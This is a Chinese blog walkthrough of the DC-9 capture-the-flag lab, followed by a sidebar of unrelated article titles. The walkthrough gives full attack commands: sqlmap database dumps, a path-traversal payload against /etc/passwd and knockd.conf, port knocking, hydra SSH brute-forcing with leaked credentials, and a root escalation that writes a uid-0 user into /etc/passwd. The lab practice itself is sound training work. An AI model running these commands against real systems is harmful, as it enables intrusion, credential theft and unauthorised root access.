当前位置:网站首页>DC-9靶场下载及渗透实战详细过程(DC靶场系列)
DC-9靶场下载及渗透实战详细过程(DC靶场系列)
2022-08-10 22:11:00 【金 帛】
目录
DC-9靶场下载地址https://www.five86.com/downloads/DC-9.zip
一. 信息收集
1. 主机扫描
2. 端口扫描
注意到ssh服务端口是filtered的,可能是什么原因给关掉了
3. 目录扫描
dirsearch -u 192.168.120.144 -e * -x 403 --random-agent
4. 页面探测
测试发现,Search页面搜索存在SQL注入
二. 渗透过程
1. SQL注入
知道注入点,接下来上sqlmap跑,POST传参search,爆库
sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' --current-db
爆表
sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -tables
爆字段
sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -columns
爆值
sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -C 'Username,Password,UserID' -dump
只有一位用户,还有密码,这密码一看就是md5,接下来找个在线网站解密md5在线加密解密
得到密码transorbital1
2. 登入后台
接着用该密码登入后台
就多了个Add Record界面,注意到下面有File does not exist,考虑存在文件包含,接着用参数fuzz测试一下,fuzz字典连接web渗透通用fuzz字典(小而精)
burpsuite抓包,构建payload
?§§=../../../../../etc/passwd
然后再把我们的参数字典加载进来
参数名是file,存在文件包含漏洞
3. 端口敲门服务
考虑到ssh端口是关闭的,可能是开启了knock服务(参考端口敲门服务),利用文件包含确认一下,一般开启了knock服务就会存在/etc/knockd.conf文件
构造payload
/addrecord.php?file=../../../../../etc/knockd.conf
果然有,开启ssh服务得依次敲击7469,8475,9842端口,利用netcat进行敲击
nc -z 192.168.120.144 7469 8475 9842
敲击完后发现端口打开了
4. ssh爆破
无奈测试了一下admin登不上去,想起之前SQLmap跑出过一个users的数据库
存放网站用户信息的,我们去瞧一下
sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'users' -dump
用这些账号密码组成字典,爆破ssh
username.txt
marym julied fredf barneyr tomc jerrym wilmaf bettyr chandlerb joeyt rachelg rossg monicag phoebeb scoots janitor janitor2
password.txt
3kfs86sfd 468sfdfsd2 4sfd87sfd1 RocksOff TC&TheBoyz B8m#48sd Pebbles BamBam01 UrAG0D! Passw0rd yN72#dsd ILoveRachel 3248dsds7s smellycats YR3BVxxxw87 Ilovepeepee Hawaii-Five-0
接下来用九头蛇进行爆破
hydra -L username.txt -P password.txt ssh://192.168.120.144
爆破出了三个用户
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
尝试登入发现janitor用户有东西
ls -la
cd .s*
cat *
有几个密码,复制到刚才的password文件继续爆破ssh
password.txt
BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts
爆破出了一个新用户
fredf:B4-Tru3-001
发现有个root权限文件
5. 提权
test文件打开是一堆乱码,应该是一个程序
在上两级目录发现test.py文件还有test.spec文件,所以后面目录下的test程序应该就是根据test.py文件写的(额,可以理解为C语言写的一个exe程序吧!?),我们打开文件看一下test程序是干嘛的
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
该脚本的意思是打开用户输入的第二个文件,将第二个文件的内容追加保存到第三个文件里面,也就是说如果有命令是test.py a.txt b.txt,就会将a.txt的文件内容保存到b.txt里面
我们可以根据任意文件写入的操作,去新添加一个root权限的用户,达到提权的效果,跟DC-4靶场一样的操作,只不过得添加一个有密码的用户,事先参考/etc/passwd解释
先利用openssl命令创建一个密码
openssl passwd -1 -salt <用户名> <密码>
openssl passwd -1 -salt hack hack
得到hash密码,$1$hack$xR6zsfvpez/t8teGRRSNr.
接着到tmp目录新建一个文件
cd /tmp
echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash' > hack
再回到/opt/devstuff/dist/test目录,执行程序test,将hack的文件内容写入到/etc/passwd文件里面
cd /opt/devstuff/dist/test
sudo ./test /tmp/hack /etc/passwd
可以看到hack用户已经添加到/etc/passwd文件里了,接下来切换用户
su hack
输入密码hack
在root目录下找到flag
三. 收获总结
1. openssl命令
openssl是个密文生成器, 参考openssl命令详解,如生成Linux系统的密文可以用命令
openssl passwd -1 -salt <用户名> <密码>
2. Linux系统下的引号
单引号会自动对字符进行转义,双引号不会对字符进行转义,不明白很容易就吃了echo的亏,参考Linux系统下的引号
边栏推荐
- Distribution Network Expansion Planning: Consider Decisions Using Probabilistic Energy Production and Consumption Profiles (Matlab Code Implementation)
- MySQL Advanced Commands
- 音乐播放器(未完成版本)
- 2021IDEA创建web工程
- RK3399平台开发系列讲解(内核驱动外设篇)6.35、IAM20680陀螺仪介绍
- Black cat takes you to learn Makefile Part 11: When the header file a.h changes, how to recompile all the .c files that depend on the header file a.h
- LeetCode Daily 2 Questions 01: Reverse Strings (both 1200) Method: Double Pointer
- make & cmake
- OneNote 教程,如何在 OneNote 中整理笔记本?
- 链表相加(二)
猜你喜欢
从斐波那契 - 谈及动态规划 - 优化
uni-app微信小程序——下拉多选框
unusual understanding
OneNote tutorial, how to organize notebooks in OneNote?
QT笔记——用VS + qt 生成dll 和 调用生成的dll
A shell script the for loop statements, while statement
String类的常用方法
虚拟地址空间
xshell (sed command)
Detailed installation steps and environment configuration of geemap
随机推荐
字节跳动原来这么容易就能进去...
LeetCode Daily Question (1573. Number of Ways to Split a String)
Redis
STL-deque
美味的石井饭
Use Cloudreve to build a private cloud disk
新一代网络安全防护体系的五个关键特征
CIKM2022 | Sequence Recommendation Based on Bidirectional Transformers Contrastive Learning
file IO-buffer
APP UI自动化测试常见面试题,或许有用呢~
阿里云新增三大高性能计算解决方案,助力生命科学行业快速发展
HighTec shortcut keys (Keys) setting location
[Maui official version] Create a cross-platform Maui program, as well as the implementation and demonstration of dependency injection and MVVM two-way binding
阿里云张新涛:支持沉浸式体验应用快速落地,阿里云云XR平台发布
2022.8.8 Selected Lectures on Good Topics (Number Theory Field)
德科立科创板上市:年营收7.3亿 市值59亿
从斐波那契 - 谈及动态规划 - 优化
过滤器
“数据引擎”开启前装规模量产新赛道,「智协慧同」崭露头角
JS use regular expressions in g model and non g difference